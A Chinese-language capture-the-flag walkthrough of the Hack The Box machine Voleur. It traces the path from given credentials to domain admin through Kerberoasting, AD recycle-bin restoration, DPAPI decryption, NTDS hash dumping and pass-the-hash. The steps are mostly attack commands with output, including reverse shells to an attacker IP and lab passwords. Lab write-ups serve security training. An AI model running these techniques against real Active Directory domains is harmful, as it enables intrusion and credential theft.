HTB Voleur 渗透测试实战:从凭证泄露到域控提权

本文详细记录了HTB Voleur靶机的完整渗透过程,从初始凭证获取开始,通过SMB共享、Excel密码破解、Kerberoasting攻击、AD回收站恢复、DPAPI凭证解密等技术,最终获得域管理员权限。

初始侦察

端口扫描

Nmap扫描显示开放的TCP端口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.76
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2222/tcp  open  ssh
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

域名为 voleur.htb,主机名为 DC

初始凭证

HTB提供初始凭证:

  • 用户名:ryan.naylor
  • 密码:HollowOct31Nyt

由于NTLM认证被禁用,需要使用Kerberos认证:

1
2
oxdf@hacky$ netexec smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt -k
SMB         10.10.11.76     445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt

SMB枚举

共享枚举

发现多个SMB共享:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
oxdf@hacky$ netexec smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt -k --shares
Share           Permissions     Remark
ADMIN$                          Remote Admin
C$                              Default share
Finance                         
HR                              
IPC$            READ            Remote IPC
IT              READ            
NETLOGON        READ            Logon server share 
SYSVOL          READ            Logon server share

IT共享访问

在IT共享中发现加密的Excel文件:

1
2
smb: \> ls 'First-Line Support\'
Access_Review.xlsx                  A    16896

Excel密码破解

提取哈希

使用office2john提取哈希:

1
2
oxdf@hacky$ python /opt/john/run/office2john.py Access_Review.xlsx
Access_Review.xlsx:$office$*2013*100000*256*16*a80811402788c037b50df976864b33f5*...

Hashcat破解

使用rockyou.txt字典破解:

1
2
$ hashcat Access_Review.xlsx.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
$office$*2013*...:football1

密码为 football1

凭证喷洒

从Excel文件中获取多个用户凭证,发现有效账户:

  • svc_ldap:M1XyC9pW7qT5Vn
  • svc_iis:N5pXyW1VqM7CZ8

Bloodhound分析

使用RustHound-CE收集AD数据:

1
oxdf@hacky$ rusthound-ce -d voleur.htb -u ryan.naylor -p HollowOct31Nyt -c All --zip

分析发现 svc_ldapsvc_winrm 有 WriteSPN 权限。

Kerberoasting攻击

设置SPN

1
oxdf@hacky$ bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn set object svc_winrm servicePrincipalName -v 'http/whatever'

获取TGS票据

1
oxdf@hacky$ netexec ldap dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k --kerberoasting svc_winrm.hash

破解哈希

1
2
$ hashcat svc_winrm.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
$krb5tgs$23$*svc_winrm$...:AFireInsidedeOzarctica980219afi

密码为 AFireInsidedeOzarctica980219afi

WinRM访问

使用破解的凭证通过WinRM连接:

1
2
oxdf@hacky$ kinit svc_winrm
oxdf@hacky$ evil-winrm -i dc.voleur.htb -r voleur.htb

获取用户标志:

1
2
*Evil-WinRM* PS C:\Users\svc_winrm\desktop> type user.txt
fc0072d8************************

AD回收站利用

切换到svc_ldap

使用RunasCs切换用户:

1
*Evil-WinRM* PS C:\programdata> .\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell -r 10.10.14.6:443

恢复删除的用户

发现被删除的todd.wolfe账户:

1
PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

恢复账户:

1
PS C:\> Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169db

切换到todd.wolfe

1
PS C:\programdata> .\RunasCs.exe todd.wolfe NightT1meP1dg3on14 powershell -r 10.10.14.6:443 --bypass-uac

DPAPI凭证恢复

发现加密凭证

在todd.wolfe的归档目录中发现DPAPI加密的凭证:

1
2
PS C:\IT\Second-Line Support\Archived Users\todd.wolfe> ls AppData\Roaming\Microsoft\Credentials
772275FAD58525253490A9B0039791D3

解密主密钥

1
2
oxdf@hacky$ dpapi.py masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879...

解密凭证

1
2
3
oxdf@hacky$ dpapi.py credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d29924...
Username    : jeremy.combs
Password    : qT3V9pLXyN7W4m

权限提升

SSH访问

使用发现的SSH密钥连接:

1
oxdf@hacky$ ssh -i id_rsa -p 2222 svc_backup@dc.voleur.htb

转储哈希

在WSL实例中发现注册表备份:

1
2
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls
Active Directory/   registry/

使用secretsdump.py提取哈希:

1
2
oxdf@hacky$ secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::

获取管理员权限

使用NTLM哈希通过WMI执行命令:

1
oxdf@hacky$ wmiexec.py voleur.htb/administrator@dc.voleur.htb -no-pass -hashes :e656e07c56d831611b577b160b259ad2 -k

读取root标志:

1
2
C:\users\administrator\desktop>type root.txt
b0094d6a************************
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计